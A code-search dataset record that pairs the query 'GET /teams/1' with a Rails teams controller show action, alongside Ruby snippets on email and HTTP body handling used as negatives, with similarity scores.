"def text_part=(msg)\n # Assign the text part and set multipart/alternative if there's an html part.\n if msg\n msg = Mail::Part.new(:body => msg) unless msg.kind_of?(Mail::Message)\n\n @text_part = msg\n @text_part.content_type = 'text/plain' unless @text_part.has_content_type?\n add_multipart_alternate_header if html_part\n add_part @text_part\n\n # If nil, delete the text part and back out of multipart/alternative.\n elsif @text_part\n parts.delete_if { |p| p.object_id == @text_part.object_id }\n @text_part = nil\n if html_part\n self.content_type = nil\n body.boundary = nil\n end\n end\n end",
"def body_parts\n\t @part.getCount.times.map do |index|\n\t\tpart = @part.getBodyPart(index)\n\t\tnext(BodyPart.new(part, self)) \\\n\t\t unless @message.is_a?(javax.mail.Multipart)\n\t\tMultipart.new(part, self)\n\t end\n\tend",
"def html_part=(msg)\n # Assign the html part and set multipart/alternative if there's a text part.\n if msg\n msg = Mail::Part.new(:body => msg) unless msg.kind_of?(Mail::Message)\n\n @html_part = msg\n @html_part.content_type = 'text/html' unless @html_part.has_content_type?\n add_multipart_alternate_header if text_part\n add_part @html_part\n\n # If nil, delete the html part and back out of multipart/alternative.\n elsif @html_part\n parts.delete_if { |p| p.object_id == @html_part.object_id }\n @html_part = nil\n if text_part\n self.content_type = nil\n body.boundary = nil\n end\n end\n end",
"def body_set(body)\n return dup_without_response.body_set(body) if response\n\n @body = body ? body.to_s : nil\n establish_content_length\n end",
"def fix_newlines\n unless self.body.nil?\n self.body = self.body.gsub('\\n', \"\\n\")\n end\n end",
"def inline!\n capture_existing_message_parts\n reset_message_body!\n\n add_text_part!\n add_html_part!\n add_attachments!\n\n message\n end",
"def body(new = nil)\n if new.nil?\n @body\n else\n with(body: body.merge(new))\n end\n end",
"def parse_multipart(boundary, body)\n reader = MultipartParser::Reader.new(boundary)\n result = { errors: [], parts: [] }\n def result.part(name)\n hash = self[:parts].detect { |h| h[:part].name == name }\n [hash[:part], hash[:body].join]\n end\n\n reader.on_part do |part|\n result[:parts] << thispart = {\n part: part,\n body: []\n }\n part.on_data do |chunk|\n thispart[:body] << chunk\n end\n end\n reader.on_error do |msg|\n result[:errors] << msg\n end\n reader.write(body)\n result\n end",
"def set_body from_user\n self.body = message_body from_user\n end",
"def plain_text_body\n return @plain_text_body unless @plain_text_body.nil?\n\n parts = if (text_parts = email.all_parts.select {|p| p.mime_type == 'text/plain'}).present?\n text_parts\n elsif (html_parts = email.all_parts.select {|p| p.mime_type == 'text/html'}).present?\n html_parts\n else\n [email]\n end\n\n parts.reject! do |part|\n part.attachment?\n end\n\n @plain_text_body = parts.map do |p|\n body_charset = Mail::RubyVer.respond_to?(:pick_encoding) ?\n Mail::RubyVer.pick_encoding(p.charset).to_s : p.charset\n\n body = Redmine::CodesetUtil.to_utf8(p.body.decoded, body_charset)\n # convert html parts to text\n p.mime_type == 'text/html' ? self.class.html_body_to_text(body) : self.class.plain_text_body_to_text(body)\n end.join(\"\\r\\n\")\n\n @plain_text_body\n end",
"def set_request_body!(request); end",
"def receive(message)\n @message = message\n @body = Hash.new\n if @message.multipart?\n assign_body_parts(@message)\n else\n @body[@message.header[\"content-type\"].sub_type] = @message.body if \n @message.header[\"content-type\"].main_type == \"text\"\n end #if\n return self\n end",
"def set_body(body, content_type)\n @body = LoggingUtil.obfuscate_body(body)\n @content_type = content_type\n end",
"def patch(body = '', headers = {}, parameters = {}, &block)\n build_patch(body, headers, parameters, &block).invoke\n end",
"def customized_message_body=(value)\n @customized_message_body = value\n end",
"def parse_body content_type, body\n\t\tbody.lstrip! rescue nil\n\t\tcase content_type\n\t\twhen \"multipart/alternative\" then parse_multipart_alternative(body)\n\t\twhen \"multipart/mixed\" then [\"I'm getting to this, I swear...\"]\n\t\twhen \"text/plain\" then parse_text_plain(body)\n\t\twhen \"text/html\" then parse_text_html(body)\n\t\twhen nil then [\"[No Content]\"]\n\t\telse [content_type + \" not yet supported\"]\n\t\tend\n\tend",
"def add_content\n if !body\n self.update_attributes(body: default_body_text)\n end\n end",
"def body_clean\n text = \"\"\n\n # Iterate through each line\n body.split(/\\n/).each do |line|\n # Included replies \"> some text\"\n next if line.match(/^>+/) \n next if line.match(/On.*wrote:/)\n # Outlook reply style\n break if line.match(/-{4,}Original Message-{4,}/)\n # Signature break \"--\"\n break if line.match(/^\\s*\\-{2,}\\s*$/)\n # Lines with only whitespace - blank them\n line.gsub(/^\\s+$/, \"\")\n\n text += line + \"\\n\"\n end\n\n # Clean out multiple line breaks throughout (longer than one blank line)\n text.gsub!(/\\n{3,}/, \"\\n\\n\") \n # Clean up multiple line breaks at end (none)\n text.gsub!(/\\n{2,}$/, \"\\n\")\n\n return text\n end",
"def body=(body); end",
"def body\n process_message_body if !@body\n @body\n end",
"def new_body(text)\n @issue_body = text\n update_issue({ body: @issue_body })\n end",
"def update!(**args)\n @replace_message_fields = args[:replace_message_fields] if args.key?(:replace_message_fields)\n @replace_repeated_fields = args[:replace_repeated_fields] if args.key?(:replace_repeated_fields)\n end",
"def body=(body)\n body = Array(body) unless body.respond_to?(:each)\n @_body = body\n end",
"def body=(body)\n body = Array(body) unless body.respond_to?(:each)\n @_body = body\n end",
"def get_body_for_quoting\n # Find the body text and remove emails for privacy/anti-spam reasons\n text = get_main_body_text\n self.mask_special_emails!(text)\n self.remove_privacy_sensitive_things!(text)\n\n # Remove existing quoted sections\n text = self.remove_lotus_quoting(text, '')\n text = IncomingMessage.remove_quoted_sections(text, \"\")\n end",
"def parse_body content_type, body\n body.lstrip! rescue nil\n case content_type\n when \"multipart/alternative\" then parse_multipart_alternative(body)\n when \"text/plain\" then parse_text_plain(body)\n when \"text/html\" then parse_text_html(body)\n when nil then [\"[No Content]\"]\n else [content_type + \" not yet supported\"]\n end\n end",
"def set_body(match)\n if !match[:body].nil?\n @content_raw = match[:body].match(/\\{\\n((.|\\s)*)\\}/)[1]\n end\n end",
"def add(new_body)\n @bodies << new_body\n @bodies\n end",
"def plain_text_body\n\n return @plain_text_body unless @plain_text_body.nil?\n\n part = email.text_part || email.html_part || email\n @plain_text_body = Redmine::CodesetUtil.to_utf8(part.body.decoded, part.charset)\n\n # strip html tags and remove doctype directive\n @plain_text_body = ActionController::Base.helpers.strip_tags(@plain_text_body.strip) unless email.text_part\n @plain_text_body.sub! %r{^<!DOCTYPE .*$}, ''\n @plain_text_body\n\n end",
"def copy_content_to_body\n self.body = self.content.to_plain_text\n end",
"def process_multipart_mail(mail, body, images_needing_replacement, keyvals)\n html_part = -1\n txt_part = -1\n\n #Figure out which part is html and which\n #is text\n mail.parts.each_with_index do |p, idx|\n if p.content_type.start_with?(\"text/html\")\n html_part = idx\n elsif p.content_type.start_with?(\"text/plain\")\n txt_part = idx\n end\n end\n\n mail.attachments.each do |attachment|\n #TODO: break this out into a separate method.\n if (attachment.content_type.start_with?(\"image/\"))\n attachment_filename = attachment.filename\n images_dir = @blog.images_dir_under_jekyll + (\"/%02d/%02d/%02d\" % [keyvals[:time].year, keyvals[:time].month, keyvals[:time].day])\n local_images_dir = \"#{@blog.jekyll_dir}/#{images_dir}\"\n FileUtils.mkdir_p(local_images_dir)\n puts \"local_images_dir: #{local_images_dir}\"\n images_needing_replacement[attachment_filename] = \"/#{images_dir}/#{attachment_filename}\"\n puts \"image url: #{images_needing_replacement[attachment_filename]}\"\n begin\n local_filename = \"#{@blog.jekyll_dir}/#{images_dir}/#{attachment_filename}\"\n @logger.log(\"saving image to #{local_filename}\")\n unless File.writable?(local_images_dir)\n $stderr.puts(\"ERROR: #{local_images_dir} is unwritable. Exiting.\")\n end\n File.open(local_filename, \"w+b\", 0644) { |f| f.write attachment.body.decoded }\n # @files_to_commit << \"#{images_dir}/#{attachment_filename}\"\n @files_to_commit << local_filename\n rescue Exception => e\n $stderr.puts \"Unable to save data for #{attachment_filename} because #{e.message}\"\n end\n end\n end\n\n #If the markup isn't html, try and use the\n #text if it exists. Anything else, use the html\n #version\n if txt_part > -1 and keyvals[:markup] != \"html\"\n body = mail.parts[txt_part].body.decoded\n elsif html_part > -1\n body = mail.parts[html_part].body.decoded\n end\n body\n end",
"def replace_placeholder(replacement, body, headers)\n new_body = []\n body.each { |chunk| new_body << chunk.gsub(Airbrake.user_information_placeholder || DEFAULT_PLACEHOLDER, replacement) }\n headers[\"Content-Length\"] = new_body.inject(0) { |sum, x| sum + x.bytesize }.to_s\n new_body\n ensure\n body.close if body.respond_to?(:close)\n end",
"def append_to_body(text)\n @issue_body = issue_body + text\n update_issue({ body: @issue_body })\n end",
"def finish\n super\n\n if _requires_no_body?\n @_body = nil\n end\n end",
"def getBody\n body = \"\"\n @body.each { |part| body << part }\n body\n ensure\n @body.close if @body.respond_to?(:close)\n end",
"def body=(new_body)\n # Set a request body\n if new_body.is_a?(IO)\n @body = file = new_body\n # Make sure the file is openned in binmode\n file.binmode if file.respond_to?(:binmode)\n # Fix 'content-length': it must not be bigger than a piece of a File left to be read or a String body size.\n # Otherwise the connection may behave like crazy causing 4xx or 5xx responses\n file_size = file.respond_to?(:lstat) ? file.lstat.size : file.size\n bytes_to_read = [ file_size - file.pos, self['content-length'].first ].compact.map{|v| v.to_i }.sort.first # remove nils then make values Integers\n if self['content-length'].first._blank? || self['content-length'].first.to_i > bytes_to_read\n self['content-length'] = bytes_to_read\n end\n else\n @body = new_body.to_s\n self['content-length'] = @body.bytesize if self['content-length'].first.to_i > @body.bytesize\n end\n end",
"def body(message, **keyword_args)\n append(Body.new(message, **keyword_args))\n end",
"def cleaned_up_text_body(format = false)\n # http://stackoverflow.com/a/15098459\n caller = caller_locations(1,1)[0].label\n if caller == 'receive_issue' || caller == 'receive_issue_reply'\n html_body\n else\n super\n end\n rescue => e\n # log error\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"ERROR=#{e.message}\")\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"BACKTRACE=\\n#{e.backtrace.join(\"\\n\")}\")\n # raise error that can be catched by 'notify_invalid_mail_handler' plugin\n raise RedmineHtmlMailHandler::Error, e.message\n end",
"def clone_body; end",
"def set_bodypart\n @bodypart = Bodypart.find(params[:id])\n end",
"def transform(params)\n case @http_post_format\n when 'parsed', '', nil\n # Mail changes `self`.\n headers = self.class.multimap(JSON.load(params['message-headers']))\n this = self\n\n message = Message::Mailgun.new do\n headers headers\n\n # The following are redundant with `body-mime` in raw MIME format\n # and with `message-headers` in fully parsed format.\n #\n # from params['from']\n # sender params['sender']\n # to params['recipient']\n # subject params['subject']\n #\n # Mailgun POSTs all MIME headers both individually and in\n # `message-headers`.\n\n text_part do\n body params['body-plain']\n end\n\n if params.key?('body-html')\n html_part do\n content_type 'text/html; charset=UTF-8'\n body params['body-html']\n end\n end\n\n if params.key?('attachment-count')\n 1.upto(params['attachment-count'].to_i) do |n|\n attachment = params[\"attachment-#{n}\"]\n add_file(this.class.add_file_arguments(attachment))\n end\n end\n end\n\n # Extra Mailgun parameters.\n if params.key?('stripped-text') && !params['stripped-text'].empty?\n message.stripped_text = params['stripped-text']\n end\n if params.key?('stripped-signature') && !params['stripped-signature'].empty?\n message.stripped_signature = params['stripped-signature']\n end\n if params.key?('stripped-html') && !params['stripped-html'].empty?\n message.stripped_html = params['stripped-html']\n end\n if params.key?('content-id-map') && !params['content-id-map'].empty?\n message.content_id_map = params['content-id-map']\n end\n\n # @todo Store non-plain, non-HTML body parts.\n # params.keys.select do |key|\n # key[/\\Abody-(?!html|plain)/]\n # end\n\n [message]\n when 'raw'\n message = self.class.condense(Message::Mailgun.new(Mail.new(params['body-mime'])))\n [message]\n else\n raise ArgumentError, \"Can't handle Mailgun #{@http_post_format} HTTP POST format\"\n end\n end",
"def update!(**args)\n @http_body = args[:http_body] if args.key?(:http_body)\n end",
"def request_body! body\n enum_of_body(body).each do |body_part|\n body_part = body_part.to_s\n rv = Wrapper.msc_append_request_body txn_ptr, (strptr body_part), body_part.bytesize\n rv == 1 or raise Error, \"msc_append_request_body failed for #{truncate_inspect body_part}\"\n end\n\n # This MUST be called, otherwise rules aren't triggered.\n rv = Wrapper.msc_process_request_body txn_ptr\n rv == 1 or raise Error, \"msc_process_request_body failed\"\n\n intervention!\n end",
"def merge_params_from_body(_params = params)\n _params = _params.dup\n if request.media_type == 'application/json'\n request.body.rewind\n body_contents = request.body.read\n logger.debug { \"Parsing: '#{body_contents}'\" }\n if body_contents\n json_params = JSON.parse(body_contents)\n if json_params.is_a?(Hash)\n _params = json_params.merge(_params)\n else\n _params['body'] = json_params\n end\n end\n end\n _params\n end",
"def decode_multipart\n return unless multipart?\n part_of_parts = Part.new(:headers => http.headers, :body => http.body)\n part_of_parts.body.split!(boundary)\n self.parts = part_of_parts.parts\n end",
"def body(value = nil)\n if value\n self.body = value\n# add_encoding_to_body\n else\n process_body_raw if @body_raw\n @body\n end\n end",
"def put_multipart!(data, boundary, part_index, part_data)\n data << \"\\r\\n--#{boundary}\\r\\n\"\n if part_index > 0\n data << \"Content-Disposition: form-data; name=\\\"file#{part_index}\\\";filename=\\\"file#{part_index}\\\"\\r\\n\"\n data << \"Content-Type: application/octet-stream\\r\\n\"\n elsif\n data << \"Content-Disposition: form-data; name=\\\"data\\\"\\r\\n\"\n data << \"Content-Type: text/json\\r\\n\"\n end\n data << \"Content-Length: #{part_data.length}\\r\\n\"\n data << \"\\r\\n\"\n data << part_data\n end",
"def body\n if mail.multipart?\n mail.parts.map { |part| Nokogiri::HTML(part.body.decoded).text }.join(\"\\n\\n\")\n else\n Nokogiri::HTML(mail.body.decoded).text\n end\n end",
"def prepend_to_body(text)\n @issue_body = text + issue_body\n update_issue({ body: @issue_body })\n end",
"def update_body(start_mark, end_mark, new_text)\n @issue_body = issue_body.gsub(/#{start_mark}.*#{end_mark}/im, \"#{start_mark}#{new_text}#{end_mark}\")\n update_issue({ body: @issue_body })\n end",
"def body=(value)\n @body = value\n end",
"def the_text_body(qty_truncate = 100)\n if kind == 'image'\n '*Sent Picture'\n elsif kind == 'audio'\n '*Sent Audio'\n elsif (body || \"\").match(/^\\[\\[\\d*\\]\\]$/)\n '*Sent sticker'\n else\n body_raw.truncate(qty_truncate)\n end\n end",
"def replace_and_send_mail_safely(mail, recipient)\n html_body = mail.html_part.body.raw_source\n do_custom_replacements_for(mail, recipient)\n send_raw_email_safely(mail)\n mail.html_part.body = html_body\n end",
"def multipart_request_body( body )\n request_body = []\n body.files.each do |k, v|\n request_body.push :content => v.content,\n 'Content-Type' => v.content_type,\n 'Content-Disposition' => \"form-data; name=\\\"#{k}\\\"; filename=\\\"#{v.file_name}\\\"\",\n 'Content-Transfer-Encoding' => 'binary'\n end\n\n body.values.each do |k, v|\n request_body << { :content => v,\n 'Content-Disposition' => \"form-data; name=\\\"#{k}\\\"\" }\n end\n request_body\n end",
"def original_body\n @original_body\n end",
"def set_body(body, content_type)\n if is_binary(content_type)\n @body = \"<binary content>\"\n else\n @body = @body_obfuscator.obfuscate_body(body)\n end\n @content_type = content_type\n end",
"def body=(value)\n @body = value\n end",
"def close_body(body)\n end",
"def build_request_body(header_params, body, files)\n partCount = 0\n if files\n partCount += files.length\n end\n if body\n partCount += 1\n end\n if partCount > 1\n boundary = \"7d70fb31-0eb9-4846-9ea8-933dfb69d8f1\"\n header_params['Content-Type'] = \"multipart/form-data; boundary=#{boundary}\"\n data = \"\"\n if body\n put_multipart!(data, boundary, 0, body)\n end \n files.each_with_index do |val, index|\n put_multipart!(data, boundary, index + 1, val)\n end\n data << \"\\r\\n--#{boundary}--\\r\\n\"\n elsif partCount == 1\n if body\n header_params['Content-Type'] = \"text/json\"\n data = body.is_a?(String) ? body : body.to_json\n else\n header_params['Content-Type'] = \"application/octet-stream\"\n data = files[0]\n end\n else\n data = nil\n end\n data\n end",
"def each\n\t parts = body_parts.map { |p| \n\t\tp.multipart? ? p.body_parts : p }\n\t parts.flatten.compact.each { |p| yield(p) }\n\tend",
"def create!(method_name, *parameters) #:nodoc:\n initialize_defaults(method_name)\n __send__(method_name, *parameters)\n\n # If an explicit, textual body has not been set, we check assumptions.\n unless String === @body\n # First, we look to see if there are any likely templates that match,\n # which include the content-type in their file name (i.e.,\n # \"the_template_file.text.html.erb\", etc.). Only do this if parts\n # have not already been specified manually.\n if @parts.empty?\n # Start find with name.content-type.locale.*\n dg = Dir.glob(\"#{template_path}/#{@template}.*.#{@locale}.*\")\n # Continue find withouth content-type\n dg = Dir.glob(\"#{template_path}/#{@template}.#{@locale}.*\") unless dg.any?\n # Finally go for just the name\n dg = Dir.glob(\"#{template_path}/#{@template}.*\") unless dg.any?\n dg.each do |path|\n template = template_root[\"#{mailer_name}/#{File.basename(path)}\"]\n\n # Skip unless template has a multipart format\n next unless template && template.multipart?\n\n @parts << Part.new(\n :content_type => template.content_type,\n :disposition => \"inline\",\n :charset => charset,\n :body => render_message(template, @body)\n )\n end\n unless @parts.empty?\n @content_type = \"multipart/alternative\" if @content_type !~ /^multipart/\n @parts = sort_parts(@parts, @implicit_parts_order)\n end\n end\n\n # Then, if there were such templates, we check to see if we ought to\n # also render a \"normal\" template (without the content type). If a\n # normal template exists (or if there were no implicit parts) we render\n # it.\n localised_template_exists = false\n template_exists = @parts.empty?\n if template_exists\n # render the localised template if available\n localised_template_exists = template_root[\"#{mailer_name}/#{@template}.#{@locale}\"]\n @body = render_message(\"#{@template}.#{@locale}\", @body) if localised_template_exists\n end\n template_exists ||= template_root[\"#{mailer_name}/#{@template}\"]\n @body = render_message(@template, @body) if template_exists unless localised_template_exists\n\n # Finally, if there are other message parts and a textual body exists,\n # we shift it onto the front of the parts and set the body to nil (so\n # that create_mail doesn't try to render it in addition to the parts).\n if !@parts.empty? && String === @body\n @parts.unshift Part.new(:charset => charset, :body => @body)\n @body = nil\n end\n end\n\n # If this is a multipart e-mail add the mime_version if it is not\n # already set.\n @mime_version ||= \"1.0\" if !@parts.empty?\n\n # build the mail object itself\n @mail = create_mail\n end",
"def unpack_body(body)\n # fixed-length fields\n self.user_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1)\n self.flags = body.slice!(0)\n \n # variable-length fields\n @user_msg = body.slice!(0..(@user_msg_len - 1)) if (@user_msg_len != 0)\n @data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n\n return(nil)\n end",
"def each_body\n return enum_for(__method__) unless block_given?\n\n unless @message.body.parts.empty?\n @message.body.parts.each do |part|\n yield part.content_type, part.body.decoded\n end\n else\n yield @message.content_type, @message.body.decoded\n end\n end",
"def body=(body)\n @body = DelayedBody.new{body}\n end",
"def message_body(format=nil)\n case format\n when :text\n msg['text']\n when :html\n msg['html']\n when :raw\n msg['raw_msg']\n else\n msg['text'] || msg['html'] || msg['raw_msg']\n end\n end",
"def body_unset\n body_set nil\n end",
"def update_body_with_exception(body, exception)\n body.merge(\n \"retries\" => body.fetch(\"retries\", 0) + 1,\n \"exceptions\" => Array(body[\"exceptions\"]) + [{\n 'exception' => exception.class.name,\n 'message' => exception.to_s,\n 'backtrace' => exception.backtrace\n }]\n )\n end",
"def scan_parts(message)\n message.parts.each do |part|\n if part.multipart?\n scan_parts(part)\n else\n case part.content_type\n when /text\\/plain/\n @body << part.body.to_s\n when /text\\/html/\n @html << part.body.to_s\n else\n att = Attachment.new(part)\n @attachments << att if att.attached?\n end\n end\n end\n end",
"def initialize str, ignore_body=false\n \t\theaders, @body = $~[1..-1] if str[/(.*?\\r?\\n)(?:\\r?\\n(.*))?\\Z/m]\n\n \t\t@headers = Hash.new { |hash, key| hash[key] = [] }\n \t\t@body ||= ''\n \t\theaders.to_s.scan(/^\\S+:\\s*.*(?:\\n\\t.*)*/).each do |header|\n \t\t\t@headers[header[/(\\S+):/, 1]] << header[/\\S+:\\s*(.*)/m, 1].gsub(/\\s+/m, ' ').strip # this is kind of wrong\n \t\tend\n\n \t\t# don't have to have content type i suppose\n \t\t@content_type, attrs = nil, {}\n \t\tif content_type = @headers['Content-Type'][0]\n \t\t\t@content_type, attrs = Mime.split_header content_type\n \t\tend\n\n \t\treturn if ignore_body\n\n \t\tif multipart?\n \t\t\tif body.empty?\n \t\t\t\t@preamble = ''\n \t\t\t\t@epilogue = ''\n \t\t\t\t@parts = []\n \t\t\telse\n \t\t\t\t# we need to split the message at the boundary\n \t\t\t\tboundary = attrs['boundary'] or raise \"no boundary for multipart message\"\n\n \t\t\t\t# splitting the body:\n \t\t\t\tparts = body.split(/--#{Regexp.quote boundary}/m)\n \t\t\t\tunless parts[-1] =~ /^--/; warn \"bad multipart boundary (missing trailing --)\"\n \t\t\t\telse parts[-1][0..1] = ''\n \t\t\t\tend\n \t\t\t\tparts.each_with_index do |part, i|\n \t\t\t\t\tpart =~ /^(\\r?\\n)?(.*?)(\\r?\\n)?\\Z/m\n \t\t\t\t\tpart.replace $2\n \t\t\t\t\twarn \"bad multipart boundary\" if (1...parts.length-1) === i and !($1 && $3)\n \t\t\t\tend\n \t\t\t\t@preamble = parts.shift\n \t\t\t\t@epilogue = parts.pop\n \t\t\t\t@parts = parts.map { |part| Mime.new part }\n \t\t\tend\n \t\tend\n \tend"
] |
[
"0.6492179",
"0.6316403",
"0.63132346",
"0.6295004",
"0.6236843",
"0.59948057",
"0.5994469",
"0.5994469",
"0.5964942",
"0.5960431",
"0.59463966",
"0.58319706",
"0.58181804",
"0.577461",
"0.5750326",
"0.57361454",
"0.57271147",
"0.57247853",
"0.5715063",
"0.57140785",
"0.57105887",
"0.5705884",
"0.57009846",
"0.56822306",
"0.56822306",
"0.5637221",
"0.56108576",
"0.5574251",
"0.5563098",
"0.55591834",
"0.54940647",
"0.54716426",
"0.5460199",
"0.54518753",
"0.54147524",
"0.5384739",
"0.53766114",
"0.53600895",
"0.5343832",
"0.5308233",
"0.5266826",
"0.5218393",
"0.5211199",
"0.51834923",
"0.5167939",
"0.51667005",
"0.5157819",
"0.5156367",
"0.5150375",
"0.5147839",
"0.51216495",
"0.5117014",
"0.51163995",
"0.511317",
"0.511317",
"0.510652",
"0.51051974",
"0.50998676",
"0.5085939",
"0.50719935",
"0.50705105",
"0.50530237",
"0.50519603",
"0.5040453",
"0.5035945",
"0.5031265",
"0.50143874",
"0.5009144",
"0.50039697",
"0.49875557",
"0.4986504",
"0.49837586",
"0.49776065",
"0.49576807",
"0.49539387",
"0.49505448",
"0.4934038",
"0.492826",
"0.49103814",
"0.48991576",
"0.48874497",
"0.48795372",
"0.48770288",
"0.48750934",
"0.48744702",
"0.48739183",
"0.48629817",
"0.48629487",
"0.48522282",
"0.4833456",
"0.483098",
"0.4818183",
"0.4812814",
"0.48031616",
"0.48014414",
"0.479981",
"0.47983631",
"0.47884387",
"0.47647336",
"0.47642535"
] |
0.79076236
|
0
|
GET /teams/1 GET /teams/1.json
|
def show
# /teams/1
if !params[:id].nil?
@team = Team.find(params[:id])
@division = @team.divisions.first
end
# Old FAFT Route is passed
if !params[:faft_team_id].nil? && !params[:faft_ds_id].nil?
@division = DivisionSeason.find_by_faft_id(params[:faft_ds_id])
redirect_to '/search?q=' + params[:team_slug] and return if @division.nil?
@team = @division.teams.find_by_faft_id(params[:faft_team_id])
@team = Team.find_by_faft_id(params[:faft_team_id]) if @team.nil?
head(:moved_permanently, location: default_team_path(@team)) and return
end
# Find team by league, division, team slug
if !params[:league_slug].nil? && !params[:division_slug].nil? && !params[:team_slug].nil?
@league = League.find_by_slug(params[:league_slug])
redirect_to '/search?q=' + params[:team_slug] and return if @league.nil?
@divisions = @league.divisions
@division = @divisions.select{ |ds| !ds.nil? && ds.slug == params[:division_slug] }.first #should only be one
redirect_to '/search?q=' + params[:team_slug] and return if @division.nil?
@team = @division.teams.find_by_slug(params[:team_slug])
redirect_to '/search?q=' + params[:team_slug] and return if @team.nil?
end
# Redirect tenanted teams to the right domain
# - This check should be performed as soon as it can be
change_domain, host = change_domain_for_tenanted_model?(@team)
redirect_to team_url(@team, host: host) and return if change_domain
authorize! :read, @team
user_cache_key = ""
user_cache_key = current_or_guest_user.rabl_cache_key if (!current_or_guest_user.nil?)
@user = current_or_guest_user
@events_cache_key = "EventsFragment/#{user_cache_key}/TeamProfile/#{@team.cache_key}/#{@team.events_last_updated_at.utc.to_s(:number)}"
# tenant info
@tenant = LandLord.new(@team).tenant
@tenant_json = Rabl.render(@tenant, 'api/v1/tenants/show', view_path: 'app/views', formats: :json, locals: { page: "team" }).html_safe
# Show/hide page elements
@show_download_app_marketing = !@team.is_o2_touch_team?
@show_results_section = !@team.is_o2_touch_team?
x = time do
@activity_items_json = [].to_json
feed_cache_key = @team.feed_cache_key(:profile, nil, nil, 20, nil)
logger.info "BF Cache - Feed cache_key is #{feed_cache_key}"
@activity_items_json = fetch_from_cache "#{feed_cache_key}" do
x = Rabl.render(@team.get_mobile_feed(:profile, nil, nil, 20, nil)[0], "api/v1/activity_items/index", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
safe_js_string(x)
end
end
logger.debug "BF Cache - Activity Items" + (x.to_s)
x = time do #4-5s (7 events)
@future_events_json = Rails.cache.fetch @events_cache_key + "/future"do
json_collection(@team.future_events, @user).html_safe
end
@past_events_json = Rails.cache.fetch @events_cache_key + "/past" do
json_collection(@team.past_events, @user).html_safe
end
end
logger.debug "BF Cache - Events" + (x.to_s)
template = (can? :manage, @team) ? 'api/v1/users/index_reduced_squad_private' : 'api/v1/users/index_reduced_squad'
@members_json = Rabl.render(@team.members, template, view_path: 'app/views', formats: [:json], :scope => BFFakeContext.new, locals: { :team => @team }, handlers: [:rabl]).html_safe
# Why do we use @demo_final? Does this need to refactored out? - PR
x = time do
@team_json = Rails.cache.fetch "#{@team.rabl_cache_key}/#{@demo_final}" do
Rabl.render(@team, "api/v1/teams/show", view_path: 'app/views', :locals => { :demo_final => @demo_final }, :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
logger.debug "BF Cache - Team under view" + (x.to_s)
x = time do
@current_user_teams_json = [].to_json
if !current_or_guest_user.nil?
@current_user_teams_json = Rails.cache.fetch "#{current_or_guest_user.rabl_cache_key}/CurrentTeams" do
Rabl.render(current_or_guest_user.teams, "api/v1/teams/index", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
end
logger.debug "BF Cache - Current teams" + (x.to_s)
x = time do
@current_user_leagues_json = [].to_json
if !current_user.nil?
@current_user_leagues_json = Rabl.render(current_user.leagues_as_organiser, "api/v1/leagues/index", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
logger.debug "BF Cache - Current leagues" + (x.to_s)
x = time do
@user_json = {}.to_json
if !current_user.nil?
@user_json = Rails.cache.fetch "#{@user.rabl_cache_key}" do
Rabl.render(@user, "api/v1/users/show", view_path: 'app/views', :formats => [:json], :scope => BFFakeContext.new, :handlers => [:rabl]).html_safe
end
end
end
logger.debug "BF Cache - User" + (x.to_s)
#Get combined user and team goals
@goals_json = [].to_json
if @team and @user
combined_goals = @team.goals.get_items.merge(@user.goals.get_items)
combined_goals_json_array = combined_goals.map do |key, goal_checklist_item|
goal_checklist_item.to_json
end
@goals_json = combined_goals_json_array.to_json.html_safe
end
#Open invite link is required iff the user is an organiser. If this information is put in the json,
#we end up with complicated rabl cacheing where a team is cached per user. Therefore the simple solution
#as it stands is to put the information in the markup.
@open_invite_link = @team.open_invite_link
render "show_private"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def team(id)\n get \"/teams/#{id}\"\n end",
"def get_team_list ( page = 1 )\n get_api_resource \"#{@@api_base_url}teams/#{page}\"\n end",
"def show\n @team = Team.find(params[:id])\n\n render json: @team\n end",
"def show\n\t\t@team = Team.find(params[:id])\n\t\trender '/teams/show.json.jbuilder'\n\tend",
"def index\n @teams = Team.all\n render json: @teams\n end",
"def index\n @teams = @club.teams\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def index\n @teams = Team.all\n render :json => @teams\n end",
"def show\n render status: 200, json: Team.find(params[:id])\n end",
"def show\n @team = @club.teams.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n team = Team.find_by(:id => params[:id])\n render :json => team\n end",
"def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @teams }\n end\n end",
"def teams\n render json: @team_query\n end",
"def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end",
"def index\n @teams = Team.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teams }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end",
"def show\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @team }\n end\n end",
